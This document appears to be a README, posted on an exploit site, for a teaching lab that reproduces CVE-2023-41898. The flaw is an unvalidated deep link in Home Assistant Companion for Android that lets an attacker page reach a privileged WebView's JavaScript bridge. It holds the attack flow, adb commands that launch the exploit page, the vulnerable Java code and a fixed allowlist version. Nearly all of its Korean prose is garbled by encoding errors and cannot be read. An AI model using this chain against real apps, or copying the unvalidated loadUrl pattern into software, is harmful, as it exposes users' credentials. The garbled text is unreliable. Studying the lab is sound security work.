## https://sploitus.com/exploit?id=85CE0D72-B9CA-5860-8C98-E1ADFA9F46D1
# CVE-2023-41898 Unvalidated Deep Link Lab
Home Assistant Companion for Android์ ๊ณต๊ฐ ์ทจ์ฝ์ ๋ณด๊ณ ์(GHSL-2023-142)์ ์ทจ์ฝ ๋ฒ์ `2023.8.2`์ ์คํ์์ค ๊ตฌ์กฐ๋ฅผ ๋ฐํ์ผ๋ก ๋ง๋ ๊ต์ก์ฉ ์ถ์ ์ฌํ Lab์ด๋ค.
์ค์ Home Assistant ์๋ฒยท๊ณ์ ยทํ ํฐ์ ์ฌ์ฉํ์ง ์๋๋ค. `LAB_TOKEN_CVE_2023_41898_NOT_REAL`์ด๋ผ๋ ๊ณ ์ ๋ ๊ฐ์ ํ ํฐ๋ง ๋
ธ์ถํ๋ค.
## ์ทจ์ฝ์ ๊ฐ์
- ๋์: Home Assistant Companion for Android
- ์ํฅ ๋ฒ์ : `2023.9.2` ๋ฏธ๋ง(๊ณต์ ๊ถ๊ณ ๊ธฐ์ค)
- ์์ ๋ฒ์ : `2023.9.2`
- ๋ถ๋ฅ: Unvalidated Deep Link Handling / Arbitrary URL Loading in WebView
- ๊ฒฐ๊ณผ: ์์ JavaScript ์คํ, ์ ํ์ ๋ค์ดํฐ๋ธ ๊ธฐ๋ฅ ํธ์ถ, ์ธ์ฆ์ ๋ณด ํ์ทจ ๊ฐ๋ฅ
## Lab ๊ตฌ์กฐ
```text
Attacker App
โ explicit ACTION_VIEW Intent
โ data=http://10.0.2.2:8000/exploit.html
โผ
Victim MyActivity (exported)
โ ๊ฒ์ฆ ์์ด JavaScript-enabled WebView.loadUrl()
โผ
exploit.html
โ homeassistant://navigate/http://10.0.2.2:8000/second-stage.html
โผ
Victim WebViewActivity (privileged WebView)
โ ๊ณต๊ฒฉ์ ํ์ด์ง์ externalApp JavaScript bridge ๋
ธ์ถ
โผ
๊ฐ์ LAB_TOKEN ํ์
```
Android manifest์ intent-filter๋ ์ด๋ค URI๊ฐ ์์์ Intent์ ๋งค์นญ๋๋์ง๋ฅผ ์ ์ํ ๋ฟ, ๋ช
์์ ์ผ๋ก ์ปดํฌ๋ํธ๋ฅผ ์ง์ ํ Intent์ data URI๋ฅผ ์๋ ๊ฒ์ฆํ์ง ์๋๋ค.
## ๊ตฌ์ฑ ์์
- `victim/`: ์ทจ์ฝํ deep-link handler์ ๊ถํ ์๋ WebView๋ฅผ ์ฌํํ ์ฑ
- `attacker/`: ํผํด ์ฑ์ exported Activity์ ๋ช
์์ Intent๋ฅผ ๋ณด๋ด๋ ์ฑ
- `web/`: ๋ก์ปฌ์์ ์ ๊ณตํ 1ยท2๋จ๊ณ ๊ณต๊ฒฉ ํ์ด์ง
- `dist/`: ๊ฒ์ฆ ์๋ฃ๋ debug APK
- `UPSTREAM.md`: ์๋ณธ ์์ค์ Lab ๊ตฌํ์ ๋์ ๊ด๊ณ
## ๋น๋
์๊ตฌ ์ฌํญ: JDK 17 ์ด์, Android SDK 36, Gradle/Android Gradle Plugin ์บ์ ๋๋ ์ธํฐ๋ท ์ฐ๊ฒฐ.
```bash
./gradlew :victim:assembleDebug :attacker:assembleDebug
```
## ์ค์น ๋ฐ ์ค์ต
ํ๊ฐ๋ฐ์ ์๋ฎฌ๋ ์ดํฐ ๋๋ ํ
์คํธ ๊ธฐ๊ธฐ์์๋ง ์คํํ๋ค.
### 1. APK ์ค์น
```bash
adb install -r dist/cve-2023-41898-victim-debug.apk
adb install -r dist/cve-2023-41898-attacker-debug.apk
```
### 2. ๋ก์ปฌ ๊ณต๊ฒฉ ํ์ด์ง ์คํ
Lab ๋ฃจํธ์์ ๋ค์ ๋ช
๋ น์ ์คํํ๋ค.
```bash
python3 -m http.server 8000 --directory web
```
Android Studio ๊ธฐ๋ณธ ์๋ฎฌ๋ ์ดํฐ์์ `10.0.2.2`๋ ํธ์คํธ PC์ loopback์ ๊ฐ๋ฆฌํจ๋ค. ์ค์ ํ
์คํธ ๊ธฐ๊ธฐ๋ฅผ ์ด๋ค๋ฉด `web/exploit.html`๊ณผ ๊ณต๊ฒฉ ์ฑ์ URL์ PC์ LAN IP๋ก ๋ณ๊ฒฝํ๋ค.
### 3. ๊ณต๊ฒฉ ํ๋ฆ ํ์ธ
1. `CVE-2023-41898 Victim`๊ณผ `CVE-2023-41898 Attacker` ์ฑ์ ์ค์นํ๋ค.
2. ๋ก์ปฌ HTTP ์๋ฒ๋ฅผ ์คํํ๋ค.
3. Attacker ์ฑ์์ **์ทจ์ฝ ๋ฅ๋งํฌ ํ๋ฆ ์คํ**์ ๋๋ฅธ๋ค.
4. ์ฒซ ๋ฒ์งธ ๊ณต๊ฒฉ ํ์ด์ง๊ฐ ๋ด๋ถ `homeassistant://navigate/` URL๋ก ์ด๋ํ๋ค.
5. ๋ ๋ฒ์งธ WebView์ ๊ณต๊ฒฉ์ ํ์ด์ง๊ฐ ๋ก๋๋๊ณ `LAB_TOKEN_CVE_2023_41898_NOT_REAL`์ด ํ์๋๋์ง ํ์ธํ๋ค.
ADB๋ก ๊ณต๊ฒฉ ์ฑ ์์ด ์ฒซ ๋จ๊ณ๋ฅผ ํธ์ถํ ์๋ ์๋ค.
```bash
adb shell am start \
-n lab.cve202341898.victim/.MyActivity \
-a android.intent.action.VIEW \
-d 'http://10.0.2.2:8000/exploit.html'
```
## ์ทจ์ฝ ์ฝ๋์ ์์ ๋ฐฉํฅ
์ทจ์ฝํ ๊ตฌํ์ ์ธ๋ถ URI๋ฅผ ๊ทธ๋๋ก ๋ก๋ํ๋ค.
```java
Uri urlToLoad = getIntent().getData();
webView.loadUrl(urlToLoad.toString());
```
์์ ์์๋ ํ์ฑ๋ URI์ scheme, host, port, path๋ฅผ ์๊ฒฉํ allowlist๋ก ๊ฒ์ฆํด์ผ ํ๋ค. ๋ฌธ์์ด `startsWith` ๋น๊ต๋ ์ฌ์ฉ์์ ๋ณด(`trusted.example@evil.example`), ์๋ธ๋๋ฉ์ธ ๋ฐ ์ธ์ฝ๋ฉ ์ฐํ ์ํ์ด ์์ผ๋ฏ๋ก ์ฌ์ฉํ์ง ์๋๋ค.
```java
Uri uri = getIntent().getData();
boolean trusted = uri != null
&& "https".equals(uri.getScheme())
&& "my.home-assistant.io".equals(uri.getHost())
&& uri.getPort() == -1
&& uri.getPath() != null
&& uri.getPath().startsWith("/redirect/");
if (!trusted) {
finish();
return;
}
```
์ถ๊ฐ๋ก WebView์์ ๋ถํ์ํ JavaScript์ `JavascriptInterface`๋ฅผ ์ ๊ฑฐํ๊ณ , ๋ชจ๋ ํ์๊ณผ ๋ฆฌ๋ค์ด๋ ์
์๋ ๋์ผํ URL ๊ฒ์ฆ์ ์ ์ฉํด์ผ ํ๋ค.
## ์์ ๋ฒ์์ ์๋ณธ์ ์ฐจ์ด
- ์๋ณธ ์ฑ ์ ์ฒด๋ฅผ ๋น๋ํ์ง ์๊ณ ์ทจ์ฝ ๋ฐ์ดํฐ ํ๋ฆ๋ง ์์ Java ํ๋ก์ ํธ๋ก ์ฌํํ๋ค.
- ์ค์ ํจํค์ง๋ช
, ์ธ์ฆ ์ ์ฅ์, ์๋ฒ ํต์ ๋ฐ ์ค๋งํธํ ๊ธฐ๋ฅ์ ํฌํจํ์ง ์๋๋ค.
- ์ค์ ์ธ์ฆ ํ ํฐ ๋์ ๊ณ ์ ๋ ๊ฐ์ ํ ํฐ๋ง ์ฌ์ฉํ๋ค.
- ์ธํฐ๋ท ๊ณต๊ฒฉ ์๋ฒ๊ฐ ์๋ ํธ์คํธ PC์ ๋ก์ปฌ HTTP ์๋ฒ๋ง ์ฌ์ฉํ๋ค.
## ์ฐธ๊ณ ์๋ฃ
- GitHub Security Lab GHSL-2023-142:
- Home Assistant ๋ณด์ ๊ถ๊ณ GHSA-jvpm-q3hq-86rg:
- ์ทจ์ฝ ๋ฒ์ ์์ค ํ๊ทธ `2023.8.2`: